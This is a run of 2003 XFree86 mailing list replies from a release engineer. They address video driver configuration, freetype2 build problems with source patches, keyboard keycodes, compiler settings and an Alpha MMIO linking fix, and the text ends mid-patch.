On Wed, Nov 12, 2003 at 11:31:45AM -0800, John Chandler wrote: David Dawes writes: On Wed, Nov 12, 2003 at 08:04:16AM -0800, John Chandler wrote: David Dawes writes: On Wed, Nov 12, 2003 at 01:01:13AM -0800, John Chandler wrote: Thank you very much for your response. What you suggest had an effect, but not an entirely good one... David Dawes writes: On Tue, Nov 11, 2003 at 01:27:54PM -0800, John Chandler wrote: When I my newly-installed RedHat system launches, X fails with this message: [...] (II) Primary Device is: PCI 00:08:0 (WW) TRIDENT: No matching Device section for instance (BusID PCI:1:0:0) found (EE) No devices detected. Fatal server error: no screens found (--) PCI:*(0:8:0) Silicon Integrated Systems [SiS] SiS300/305 PCI/AGP VGA Display Adapter rev 144, Mem @ 0xd000/27, 0xe000/17, I/O @ 0xdc00/7 (--) PCI: (1:0:0) Trident Microsystems CyberBlade/i1 rev 106, Mem @ 0xdd80/23, 0xde00/17, 0xdd00/23 [...] Well, the primary card is the one that you get the BIOS boot messages on, and which Linux boots on. Since your monitor is plugged into the add-in PCI card, it's almost certain that it is the SiS card. So that's the driver you need to be using. The VideoRam lines usually should be commented out, so don't worry about that. I'm not up on which SiS cards are supported by the 4.3 sis driver, but since Thomas is following this thread, I'm sure he can help with that. Have you tried modifying your XFree86 4.x config to use the sis driver instead of the trident driver? Do I have to do anything besides change Trident to SiS? E.g., do I need to specify a Busid? If you change the line Driver trident to Driver sis that should do it. Also, remove any Busid line you might have added. David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] XFree86 freezes in minutes (was:Trident Blade, no screens)
On Fri, Nov 14, 2003 at 04:30:54AM -0800, John Chandler wrote: I notice a deafening silence on this topic all of a sudden. Have I offended my hosts or become tiresome? Please accept my apologies. Does anyone have an opinion as to whether the freezing I'm seeing is an XFree86 issue or something else? Does RH9 do this a lot? I'd consider hardware deficiencies, but when I boot my old RH 7.x on the exact same hardware (except different HD), it stays up for days, vs. minutes w/RH9 and the new XFree86. Adjusting the resolution to pathetically low doesn't fix it. Feel free to recommend that I have someone cut the traces to the onboard video, replace my motherboard, install SUSE, etc. I presume XFree86 is *the* X server at this point, but I'm even open to changing that if you think it would be an option -- I am stuck at RedHat 7.something until I get past this. Thanks, and I realize nobody's getting paid for the advice given here. All I can suggest is that you try the latest sis driver. Thomas has a very comprehensive web site for his driver http://www.winischhofer.net/linuxsisvga.shtml. You can download driver updates from there too. I don't have any sis hardware and I'm not familiar with the driver myself, so there isn't much more I can add. David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] XFree86 freezes in minutes (was:Trident Blade, no screens)
On Sun, Nov 16, 2003 at 07:01:39PM -0800, John Chandler wrote: Thanks. I think this is really a bit of a conundrum -- on my RH7.x system, Trident is mentioned in the XFree86 config file, and SiS is Actually, for the old 3.3.x based config file you posted, there was nothing Trident specific other than strings that have no affect on which driver actually gets used. I don't think there's really any mystery there. David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] fontconfig.pc version and update suggested
On Wed, Nov 19, 2003 at 09:08:25PM +0100, Rene Rebe wrote: Hi, The combination of the files: xc/lib/fontconfig/Imakefile xc/extras/fontconfig/Imakefile result in the wrong fontconfig version: 1.0 - instead of 2.1.0! I'll commit a fix to xc/lib/fontconfig/Imakefile for that. The version was wrongly tied to the shared library revision. The file in xc/extras/fontconfig is not used. In addition I would like to propose an update to 2.2.x since some GNOME packages start to require it ... I could attach a patch if needed - but I guess you want to handmerge the release manually: We're well into our release cycle, with the 4.4 release due out in just under a month from now. The feature freeze was over a month ago. At least one bug in 2.1 has been fixed in our current CVS. If you have fixes for others, please submit them before 28 November (the code freeze date). David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] freetype2 problems with cvs
On Wed, Nov 19, 2003 at 07:47:04PM -0500, Ed Sweetman wrote: Not sure if this is the place for bugs, in fact i really think it's [EMAIL PROTECTED] so i'll cc it to them too. It might have been mentioned already but the cvs head is not up to date with freetype2 2.1.7 Many XFT and freetype related source and header files have #include freetype/freetype.h and other assorted headers which is not how you use libfreetype anymore. You're supposed to #include ft2build.h and then use macro includes for the various headers. The new version of freetype2 also appears to have broken compiling for lib/font/FreeType. I have no idea why there is a duplication of many headers in Xfree86's source tree and so far changing includes to be what they should be isn't fixing the these errors with expected headers missing and what not. Is nobody else seeing these errors? Something like the attached patch should take care of most of it. Let me know if it works. Amongst some other complications, lib/font/FreeType has at least one dependence on a header that isn't exported (ttobjs.h), so building against an external version currently probably won't work as expected. Maybe that can be handled differently? The patch attached should address the other parts of lib/font/FreeType. David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes Index: lib/font/FreeType/Imakefile === RCS file: /home/x-cvs/xc/lib/font/FreeType/Imakefile,v retrieving revision 1.30 diff -u -r1.30 Imakefile --- lib/font/FreeType/Imakefile 5 Nov 2003 16:54:28 - 1.30 +++ lib/font/FreeType/Imakefile 20 Nov 2003 01:59:13 - @@ -10,10 +10,12 @@ DEFINES = ServerExtraDefines StrcasecmpDefines Freetype2BuildDefines \ -DXFREE86_FT2 +FT2SOURCEDIR = $(TOP)/extras/freetype2/src FT2INCS = -I$(FREETYPE2INCDIR) -I$(FREETYPE2INCDIR)/include -INCLUDES = -I. -I$(FONTINCSRC) -I../include -I$(XINCLUDESRC) \ - -I$(SERVERSRC)/include $(FT2INCS) -I$(INCLUDESRC) +INCLUDES = $(FT2INCS) -I. -I$(FONTINCSRC) -I../include -I$(XINCLUDESRC) \ + -I$(SERVERSRC)/include -I$(FT2SOURCEDIR)/truetype \ + -I$(INCLUDESRC) SRCS = xttcap.c ftfuncs.c ftenc.c fttools.c OBJS = xttcap.o ftfuncs.o ftenc.o fttools.o Index: lib/font/FreeType/ftenc.c === RCS file: /home/x-cvs/xc/lib/font/FreeType/ftenc.c,v retrieving revision 1.24 diff -u -r1.24 ftenc.c --- lib/font/FreeType/ftenc.c 19 Oct 2003 18:53:49 - 1.24 +++ lib/font/FreeType/ftenc.c 20 Nov 2003 02:01:41 - @@ -35,12 +35,13 @@ #include fontmisc.h #include fontenc.h -#include freetype/freetype.h -#include freetype/ttnameid.h -#include freetype/tttables.h -#include freetype/t1tables.h -#include freetype/ftbdf.h -#include freetype/ftxf86.h +#include ft2build.h +#include FT_FREETYPE_H +#include FT_TRUETYPE_IDS_H +#include FT_TRUETYPE_TABLES_H +#include FT_TYPE1_TABLES_H +#include FT_BDF_H +#include FT_XFREE86_H #include ft.h static int find_cmap(int, int, int, FT_Face, FT_CharMap *); Index: lib/font/FreeType/ftfuncs.c === RCS file: /home/x-cvs/xc/lib/font/FreeType/ftfuncs.c,v retrieving revision 1.36 diff -u -r1.36 ftfuncs.c --- lib/font/FreeType/ftfuncs.c 2 Nov 2003 04:30:56 - 1.36 +++ lib/font/FreeType/ftfuncs.c 20 Nov 2003 02:01:49 - @@ -42,22 +42,23 @@ #include fntfilst.h #include fontutil.h #include FSproto.h -#include freetype/freetype.h -#include freetype/ftsizes.h -#include freetype/ttnameid.h -#include freetype/tttables.h -#include freetype/t1tables.h -#include freetype/ftxf86.h -#include freetype/ftbbox.h -#include freetype/internal/tttypes.h -#include extras/freetype2/src/truetype/ttobjs.h +#include ft2build.h +#include FT_FREETYPE_H +#include FT_SIZES_H +#include FT_TRUETYPE_IDS_H +#include FT_TRUETYPE_TABLES_H +#include FT_TYPE1_TABLES_H +#include FT_XFREE86_H +#include FT_BBOX_H +#include FT_INTERNAL_TRUETYPE_TYPES_H +#include ttobjs.h /* * If you want to use FT_Outline_Get_CBox instead of * FT_Outline_Get_BBox, define here. */ /* #define USE_GET_CBOX */ #ifdef USE_GET_CBOX -#include freetype/ftoutln.h +#include FT_OUTLINE_H #endif #include fontenc.h Index: lib/font/FreeType/fttools.c === RCS file: /home/x-cvs/xc/lib/font/FreeType/fttools.c,v retrieving revision 1.6 diff -u -r1.6 fttools.c --- lib/font/FreeType/fttools.c 8 Jun 2003 15:41:13 - 1.6 +++ lib/font/FreeType/fttools.c 20 Nov 2003 02:01:55 - @@ -34,9 +34,10 @@ #endif #include font.h -#include freetype/freetype.h -#include freetype/ftsnames.h -#include freetype/ttnameid.h +#include ft2build.h +#include FT_FREETYPE_H +#include FT_SFNT_NAMES_H +#include FT_TRUETYPE_IDS_H #include ft.h #ifndef LSBFirst Index: lib/Xft/Xft.h
Re: [XFree86] freetype2 problems with cvs
On Wed, Nov 19, 2003 at 11:19:01PM -0500, Ed Sweetman wrote: David Dawes wrote: On Wed, Nov 19, 2003 at 07:47:04PM -0500, Ed Sweetman wrote: Not sure if this is the place for bugs, in fact i really think it's [EMAIL PROTECTED] so i'll cc it to them too. It might have been mentioned already but the cvs head is not up to date with freetype2 2.1.7 Many XFT and freetype related source and header files have #include freetype/freetype.h and other assorted headers which is not how you use libfreetype anymore. You're supposed to #include ft2build.h and then use macro includes for the various headers. The new version of freetype2 also appears to have broken compiling for lib/font/FreeType. I have no idea why there is a duplication of many headers in Xfree86's source tree and so far changing includes to be what they should be isn't fixing the these errors with expected headers missing and what not. Is nobody else seeing these errors? Something like the attached patch should take care of most of it. Let me know if it works. Amongst some other complications, lib/font/FreeType has at least one dependence on a header that isn't exported (ttobjs.h), so building against an external version currently probably won't work as expected. Maybe that can be handled differently? The patch attached should address the other parts of lib/font/FreeType. David Yea, most of this i'd already done. It seems that freetype2 2.1.7 does not install ttobjs.h and it borks the install of the services headers by ttobjs.h isn't a public interface, so naturally it isn't installed. If we can avoid using it, that'd be good. But it's more important that our freetype backend works correctly at this point in the release cycle :-) not putting them in a services directory. Upon fixing that. I come across errors relating to the fact that headers with the same name as freetype2's appear in the X cvs tree. Such as ft2build.h It appears an old tree of freetype2 is in X which is really bothering me. Why is it there and why do any of the source files include it via path directly without any define anywhere to say not to use the system freetype2? I know it's using those files over the system ones because if i delete a common header i start getting build errors. This looks like either a serious design flaw or a bug. If i go through the trouble setting a truetype2 directory via host.cf it should use that and not the included xfree86 tree. The patch I sent should fix that. If not, send the relevant build log info that shows the wrong ft2build.h file being used. I cant build X now even with the patch because of me refusing to let the build use the local tree (removed it from extras). I cant find where you specify FTSOURCEDIR which apparently X needs (why?) to point to my current freetype2 build dir. Well, the build of the module version of the freetype backend is actually a build of freetype itself, hence it needs the freetype source rather than a freetype installation. This also means that it's fairly closely tuned to the version of freetype we're using. Don't expect that to work against an external source tree of a newer version without some tuning. The non-module freetype backend only requires ttobjs.h from the build tree, and editing lib/font/FreeType/Imakefile would allow that to find ttobjs.h from elsewhere. If you want to build against an external *installation* (not build tree) of a newer freetype version, then keep extras/freetype2 around, and that should work with the patch I sent, providing the public interfaces are backward compatible. That's what I thought your original email was about. If you want to go beyond that and use an external build tree so that nothing in xc/extras/freetype2 is ever used, then you're on your own for now, or you'll have to wait until after 4.4 is out, when we'll probably look at importing a newer version of freetype. David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] freetype2 problems with cvs
On Thu, Nov 20, 2003 at 01:29:13AM -0500, Ed Sweetman wrote: David Dawes wrote: On Wed, Nov 19, 2003 at 11:19:01PM -0500, Ed Sweetman wrote: David Dawes wrote: On Wed, Nov 19, 2003 at 07:47:04PM -0500, Ed Sweetman wrote: Not sure if this is the place for bugs, in fact i really think it's [EMAIL PROTECTED] so i'll cc it to them too. It might have been mentioned already but the cvs head is not up to date with freetype2 2.1.7 Many XFT and freetype related source and header files have #include freetype/freetype.h and other assorted headers which is not how you use libfreetype anymore. You're supposed to #include ft2build.h and then use macro includes for the various headers. The new version of freetype2 also appears to have broken compiling for lib/font/FreeType. I have no idea why there is a duplication of many headers in Xfree86's source tree and so far changing includes to be what they should be isn't fixing the these errors with expected headers missing and what not. Is nobody else seeing these errors? Something like the attached patch should take care of most of it. Let me know if it works. Amongst some other complications, lib/font/FreeType has at least one dependence on a header that isn't exported (ttobjs.h), so building against an external version currently probably won't work as expected. Maybe that can be handled differently? The patch attached should address the other parts of lib/font/FreeType. David Yea, most of this i'd already done. It seems that freetype2 2.1.7 does not install ttobjs.h and it borks the install of the services headers by ttobjs.h isn't a public interface, so naturally it isn't installed. If we can avoid using it, that'd be good. But it's more important that our freetype backend works correctly at this point in the release cycle :-) not putting them in a services directory. Upon fixing that. I come across errors relating to the fact that headers with the same name as freetype2's appear in the X cvs tree. Such as ft2build.h It appears an old tree of freetype2 is in X which is really bothering me. Why is it there and why do any of the source files include it via path directly without any define anywhere to say not to use the system freetype2? I know it's using those files over the system ones because if i delete a common header i start getting build errors. This looks like either a serious design flaw or a bug. If i go through the trouble setting a truetype2 directory via host.cf it should use that and not the included xfree86 tree. The patch I sent should fix that. If not, send the relevant build log info that shows the wrong ft2build.h file being used. well i'm not sure what wrong would be because i dont know when it's What you consider wrong. :-) supposed to use this local copy and when it's supposed to use the system and why it even needs the system one at all. The system one is only used for the module freetype backend build. In fact last night I committed a change that moves it (and some other locally modified headers) to the module directory so they can't be used by anything else. In my build tests with the patch, it only uses the local ft2build.h in that case. That's why if you're seeing something different I need some specific details in order to follow it up. I cant build X now even with the patch because of me refusing to let the build use the local tree (removed it from extras). I cant find where you specify FTSOURCEDIR which apparently X needs (why?) to point to my current freetype2 build dir. Well, the build of the module version of the freetype backend is actually a build of freetype itself, hence it needs the freetype source rather than a freetype installation. This also means that it's fairly closely tuned to the version of freetype we're using. Don't expect that to work against an external source tree of a newer version without some tuning. The non-module freetype backend only requires ttobjs.h from the build tree, and editing lib/font/FreeType/Imakefile would allow that to find ttobjs.h from elsewhere. So what's the point of having #define freetype2 if we're going to build our own local copy of freetype2 anyway? Why link to any external freetype2. So because one out of the 4 or 5 things that reference freetype2 ignores the external one, we shouldn't allow the external one at all? If you want to build against an external *installation* (not build tree) of a newer freetype version, then keep extras/freetype2 around, and that should work with the patch I sent, providing the public interfaces are backward compatible. That's what I thought your original email was about. If you want to go beyond that and use an external build tree so that nothing in xc/extras/freetype2 is ever used, then you're on your own for now, or you'll have to wait until after 4.4 is out, when we'll probably look at importing a newer version of freetype. David But why does xfree86
Re: [XFree86] freetype2 problems with cvs
On Thu, Nov 20, 2003 at 08:33:41AM -0500, Ed Sweetman wrote: You wanted an example where things were getting mixed up. Here you go. In file included from /usr/local/include/freetype2/freetype/internal/ftobjs.h:31, from /usr/local/include/freetype2/freetype/internal/tttypes.h:26, from ftfuncs.c:53: /usr/local/include/freetype2/freetype/ftrender.h:24:21: freetype/ftmodule.h: No such file or directory Can you quote the full compile line, and the directory you're building in when this happens? There isn't enough context here. David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] freetype2 problems with cvs
On Thu, Nov 20, 2003 at 09:25:29PM -0500, David Dawes wrote: On Thu, Nov 20, 2003 at 08:00:21PM -0500, Ed Sweetman wrote: David Dawes wrote: On Thu, Nov 20, 2003 at 01:29:13AM -0500, Ed Sweetman wrote: David Dawes wrote: On Wed, Nov 19, 2003 at 11:19:01PM -0500, Ed Sweetman wrote: The patch I sent should fix that. If not, send the relevant build log info that shows the wrong ft2build.h file being used. well i'm not sure what wrong would be because i dont know when it's What you consider wrong. :-) supposed to use this local copy and when it's supposed to use the system and why it even needs the system one at all. The system one is only used for the module freetype backend build. In fact last night I committed a change that moves it (and some other locally modified headers) to the module directory so they can't be used by anything else. In my build tests with the patch, it only uses the local ft2build.h in that case. That's why if you're seeing something different I need some specific details in order to follow it up. So what's the point of having #define freetype2 if we're going to build our own local copy of freetype2 anyway? Why link to any external freetype2. So because one out of the 4 or 5 things that reference freetype2 ignores the external one, we shouldn't allow the external one at all? But why does xfree86 need to have it's own build of freetype2 when every other userspace programs that use freetype2 just use the library interface like they're supposed to? For instance, freedesktop.org's Xserver links to freetype and doesn't require a build of it's own freetype2 library locally, it links to the system one. If you build a non-modular XFree86 server, then you get exactly that. Add '#define DoLoadableServer NO' to you host.def. You don't get that for the (default) modular XFree86 server because nobody has done the work necessary to build an XFree86 freetype backend module that can request that an external freetype library be loaded on demand. Remember the backend font modules are loaded optionally by the modular XFree86 server, so modules that use specific external interfaces should cause those interface to get loaded as required rather than requiring the core XFree86 binary to be linked against all conceivable external interfaces in advance. Until that work is done, the freetype backend module needs to contain its own complete copy of libfreetype. Feel free to do the work necessary to correct this obvious anomaly :-). The ttobjs.h issue needs to be addressed one way or another too, either by findind an equivalent public interface, or creating an equivalent public interface, so that this user-mode program can do what it needs to do without knowing more about the freetype internals than it has any right to :-) David Ok, so the module responsible for the actual rendering in Xfree86 is compiling against the local copy of freetype2 right? The reason why I Server side rendering, yes. Client side rendering, no. thought there was no reason to link to a local source tree because you're building it into a module, is that there are plenty of examples of programs with plugins that link to libraries like gtk and such without having local copies of such libraries. I take it this is very difficult to do with XFree86 since it was originally written in a non-modular form. We don't use dlopen() as our module loader (for semantic reasons, primarily). Nevertheless it's possible to do what is needed. It just needs to be done. Are there flags i can override in host.cf that will let me point xfree86 to a different source tree or can i just dump the system freetype2 source tree into xc/extras and do things that way? Otherwise i'll just No, because you'll also almost certainly need to modify lib/font/FreeType/module/Imakefile and some other files, which are likely tied fairly closely to the freetype version. Here's the latest error after your ftnew.diff OK, I hadn't checked the utilities that directly reference freetype. I'd only done the libraries. It uses quotes in the source file but doesn't appear to need to use the local copy of the source tree so i changed them to use the system copy headers. Of course this doesn't mean it'll be linked to the system library. :-/ it compiled though. It should be. Check for -L/path/to/your/installed/lib in the build log. The attached patch fixes these two utilities. I'll commit that too. My complete build against the external freetype installation hasn't finished yet (old slow machines, and all that). If there are more problems, I'll commit fixes for them too. forgot the patch... David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes Index: programs/mkfontscale/mkfontscale.c === RCS file: /home/x-cvs/xc/programs/mkfontscale/mkfontscale.c,v
Re: [XFree86] Keyboard problems with current CVS
On Fri, Nov 21, 2003 at 06:28:12AM +0200, Panagiotis Papadakos wrote: It seems that I have lost my win keys. Xev reports scancodes 115 and 116 but with NoSymbol. Here is my config: Section InputDevice IdentifierKeyboard[0] Driverkbd OptionXkbRules xfree86 OptionXkbModel logicink OptionXkbLayout us,el OptionXkbOptions grp:alt_shift_toggle,ctrl:ctrl_aa,grp_led:scroll,lv3:lwin_switch EndSection In /etc/X11/xkb/keycodes/xfree86 115 and 116 are LMTA and RMTA. But shouldn't these be LWIN and RWIN? And also 117 MENU instead of COMP? Yep, I'm seeing it too (I guess I never use those keys, so didn't notice until you pointed it out :-). It looks like this was part fo some Solaris support. LMTA, etc should be aliases rather than replacements for the previous symbols. I'll make that change. Thanks for the report. David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] make files fail, asking for c++
On Sat, Nov 22, 2003 at 11:57:49AM -0600, root wrote: Hello, I'm trying to compile XFree86-4.3.99.15 using make World world.log, however it fails, as seen from the world.log file. The Imakefiles generates a spurious reference to a c++ compiler, however, gcc should probably be used. I'm running a VIA Nehemiah M1 Debian Sarge system with 512 MB RAM. The VESA driver does not work. I also had to modify the Imake file for xc/lib/lbxutil/lbx_zlib by adding -I../../../extras/zlib. zlib seems to be moved from -I../../zlib. Here is the It is expecting to find those headers in /usr/include. HasZlib is enabled by default on Linux, which means the system supplied version is used, and so the package containing the zlib headers must be installed. /bin/sh: line 1: c++: command not found I'm not sure why linux.cf defines CplusplusCmd to 'c++' instead of, say, 'g++'. I think there was a reason though. If your system doesn't provide 'c++' as another name for the GNU C++ complier, add the following line to your xc/config/cf/host.def file: #define CplusplusCmd g++ If that doesn't work, check that you have the g++ packages installed. David -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Can't get a 7-button mouse setup correctly.
On Sun, Nov 23, 2003 at 09:56:16PM +0200, Alon Weinstein wrote: Hello all. I use a Logitech MX700 optical-cordless mouse, which has 7 buttons (like an MS-Explorer mouse has.) I found a few pages on the web explaining how to use those 7 buttons, all of which specify the following setup for the mouse's InputDevice section: Section InputDevice Identifier Mouse0 Driver mouse Option Protocol ExplorerPS/2 Option Device /dev/psaux Option ZAxisMapping 6 7 Option Buttons 7 EndSection I've tried using this setup, and got the following error when I start X:Parse error on line 101 of section InputDevice in file /etc/X11/XF86Config 7 is not a valid keyword in this section. (EE) Problem parsing the config file (EE) Error parsing the config file Line 101 is the line which specifies Option Buttons 7. Could you send the complete config file? This looks like a basic parsing problem, not a problem specific to the value 7. David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Intel 865G memory allocation problem?
On Tue, Nov 25, 2003 at 02:06:34PM -0700, Scott Beverly wrote: I have a new system with what appears to be an Intel 82865G integrated video controller. So far the best I can get is 1024x768x8bit. I been searching the list archives and the XFree86.org website, but haven't found anything that directly refers to the problem I am having. Below is the log file I got after getting the latest CVS tree (yesterday 4.3.99.16). Does anyone have any suggestions on how I can get higher resolution and color depth? If one of your BIOS setup screens has an option to increase the amount of memory reserved for video at boot time, that should take care of the problem. David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Re: I852/855G and widescreen support.
On Wed, Dec 03, 2003 at 12:14:29PM -, Dermot McGahon wrote: By saving your money and acquiring Intel Inc., then providing the specifications to the community? Or are you suggesting something else I'm missing. What part of WE DO NOT HAVE THE DAMN SPECIFICATIONS is unclear? The way to overcome that, is for Intel to provide the specifications. What are you missing? A civil answer? My civil answer is at http://www.xfree86.org/~dawes/845driver.html. Unfortunately it doesn't change the bottom line, which is that the driver does not have this functionality, and to my knowledge there isn't anything in the works that would change this :-(. I'd be hassling my laptop vendor to give me a BIOS update that had support for the panel's native resolution. Dunno what good it would do though... David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] xf86ReadMmio32 not found
On Wed, Dec 10, 2003 at 11:06:01PM +0100, Linus Gasser wrote: On Wednesday 10 December 2003 19:52, David Dawes wrote: On Wed, Dec 10, 2003 at 09:30:12AM +0100, Linus Gasser wrote: As I wrote, I installed a fresh, new XFree 4.3.99.901, cvs from 6th December, and I also checked that the file that has been compiled in the XFree-tree is the same as in /usr/X11R6/lib/modules/dri/r200_dri.so but I'll check again this evening, just to be sure. What platform are you building on? It looks like the INREG() code in r200_screen.c could expand to this on some platforms. Some code in the radeon_dri.so module that uses INREG is #ifdef'd out for Alpha platforms. Not all of it though, and not the instances of it in the r200_dri.so module. David It's an alpha pc164 (as stated in my first mail ;-), and I stumbled already over a first error that got fixed quite fast (#938, thanks to Alan Hourihane), obviously I should've filed a second bug. I've done so now, and also added the diff with the INREGs #ifdef'd out for Alpha (there was still some in radeon_screen.c, r128_ioctl.c). The bug-# is 967, the attachement is there. Now it works for me! thanks for your fast reply and for the right hint! I don't know that disabling it is a real solution though. It is clearly better than it was, but some apps are likely to fail. Maybe the DRM driver should be providing this information? I'm not even sure what the security implications are of allowing the MMIO area to be mapped into an app. Doesn't that mean that a rogue DRI app could potentially reprogram the video hardware, unless it is mapped read-only? David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] xf86ReadMmio32 not found
On Thu, Dec 11, 2003 at 12:54:10AM +, Alan Hourihane wrote:
Actually,
I've just examined the code for reading on alpha, and regardless of
a Jensen or other type of alpha it's always the same for a 32bit read.
So can you reverse your patch and try this
Alan.
Index: r200_screen.c
===
RCS file: /X11R6/x-cvs/xc/lib/GL/mesa/src/drv/r200/r200_screen.c,v
retrieving revision 1.6
diff -u -r1.6 r200_screen.c
--- r200_screen.c 2 Dec 2003 13:02:39 - 1.6
+++ r200_screen.c 11 Dec 2003 00:53:47 -
@@ -65,6 +65,18 @@
#define PCI_CHIP_RV200_QW 0x5157 /* Radeon 7500 - not an R200 at all */
#endif
+#ifdef __alpha__
+
+#define mem_barrier()__asm__ __volatile__(mb : : : memory)
+
+int
+xf86ReadMmio32(pointer Base, register unsigned long Offset)
+{
+mem_barrier();
+return *(volatile CARD32*)((unsigned long)Base+(Offset));
+}
+#endif
+
static r200ScreenPtr __r200Screen;
static int getSwapInfo( __DRIdrawablePrivate *dPriv, __DRIswapInfo * sInfo );
xf86ReadMmio32 is declared in compiler.h as a function pointer,
not a function.
David
--
David Dawes
developer/release engineer The XFree86 Project
www.XFree86.org/~dawes
___
XFree86 mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Weirdness in mga_video.c code
[EMAIL PROTECTED] is probably a better place for this] On Thu, Dec 18, 2003 at 12:36:25AM -0500, Ed Sweetman wrote: I ran across a little oddity while working on the matrox driver. In MGAPutImage, the ScreenInfoPtr sent to it which is then converted to a MGAPtr does not have drmCtx set to a non-zero value even though dri is enabled and working at the time the function is called. I do not understand why this is and consider it to be a bug. Can anyone shed some light on this? This is of course working on the cvs pull of X. You'll have to be a little more specific/precise. I don't see any field called drmCtx in the current XFree86 CVS version of the mga driver, for example. David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] xf86ReadMmio32 not found
On Wed, Dec 10, 2003 at 08:48:33PM -0500, David Dawes wrote:
On Thu, Dec 11, 2003 at 12:54:10AM +, Alan Hourihane wrote:
Actually,
I've just examined the code for reading on alpha, and regardless of
a Jensen or other type of alpha it's always the same for a 32bit read.
So can you reverse your patch and try this
Alan.
Index: r200_screen.c
===
RCS file: /X11R6/x-cvs/xc/lib/GL/mesa/src/drv/r200/r200_screen.c,v
retrieving revision 1.6
diff -u -r1.6 r200_screen.c
--- r200_screen.c 2 Dec 2003 13:02:39 - 1.6
+++ r200_screen.c 11 Dec 2003 00:53:47 -
@@ -65,6 +65,18 @@
#define PCI_CHIP_RV200_QW0x5157 /* Radeon 7500 - not an R200 at all */
#endif
+#ifdef __alpha__
+
+#define mem_barrier()__asm__ __volatile__(mb : : : memory)
+
+int
+xf86ReadMmio32(pointer Base, register unsigned long Offset)
+{
+mem_barrier();
+return *(volatile CARD32*)((unsigned long)Base+(Offset));
+}
+#endif
+
static r200ScreenPtr __r200Screen;
static int getSwapInfo( __DRIdrawablePrivate *dPriv, __DRIswapInfo * sInfo );
xf86ReadMmio32 is declared in compiler.h as a function pointer,
not a function.
Can someone give the attached patch a try?
David
--
David Dawes X-Oz Technologies
www.XFree86.org/~dawes www.x-oz.com
Index: programs/Xserver/hw/xfree86/common/compiler.h
===
RCS file: /home/x-cvs/xc/programs/Xserver/hw/xfree86/common/compiler.h,v
retrieving revision 3.104
diff -u -r3.104 compiler.h
--- programs/Xserver/hw/xfree86/common/compiler.h 3 Nov 2003 05:11:01 -
3.104
+++ programs/Xserver/hw/xfree86/common/compiler.h 18 Dec 2003 21:32:18 -
@@ -1613,7 +1613,17 @@
/* entry points for Mmio memory access routines */
extern int (*xf86ReadMmio8)(void *, unsigned long);
extern int (*xf86ReadMmio16)(void *, unsigned long);
+# ifndef STANDALONE_MMIO
extern int (*xf86ReadMmio32)(void *, unsigned long);
+# else
+/* Some DRI 3D drivers need MMIO_IN32. */
+static __inline__ int
+xf86ReadMmio32(void *Base, unsigned long Offset)
+{
+ __asm__ __volatile__(mb : : : memory);
+ return *(volatile CARD32*)((unsigned long)Base+(Offset));
+}
+# endif
extern void (*xf86WriteMmio8)(int, void *, unsigned long);
extern void (*xf86WriteMmio16)(int, void *, unsigned long);
extern void (*xf86WriteMmio32)(int, void *, unsigned long);
@@ -1629,7 +1639,11 @@
/* Changed to kill noise generated by gcc's -Wcast-align */
# define MMIO_IN8(base, offset) (*xf86ReadMmio8)(base, offset)
# define MMIO_IN16(base, offset) (*xf86ReadMmio16)(base, offset)
-# define MMIO_IN32(base, offset) (*xf86ReadMmio32)(base, offset)
+# ifndef STANDALONE_MMIO
+# define MMIO_IN32(base, offset) (*xf86ReadMmio32)(base, offset)
+# else
+# define MMIO_IN32(base, offset) xf86ReadMmio32(base, offset)
+# endif
# if defined (JENSEN_SUPPORT)
# define MMIO_OUT32(base, offset, val) \
Index: lib/GL/mesa/src/drv/r128/r128_ioctl.c
===
RCS file: /home/x-cvs/xc/lib/GL/mesa/src/drv/r128/r128_ioctl.c,v
retrieving revision 1.11
diff -u -r1.11 r128_ioctl.c
--- lib/GL/mesa/src/drv/r128/r128_ioctl.c 28 Sep 2003 20:15:20 - 1.11
+++ lib/GL/mesa/src/drv/r128/r128_ioctl.c 18 Dec 2003 21:25:31 -
@@ -32,6 +32,7 @@
*
*/
+#define STANDALONE_MMIO
#include r128_context.h
#include r128_state.h
#include r128_ioctl.h
Index: lib/GL/mesa/src/drv/r200/r200_screen.c
===
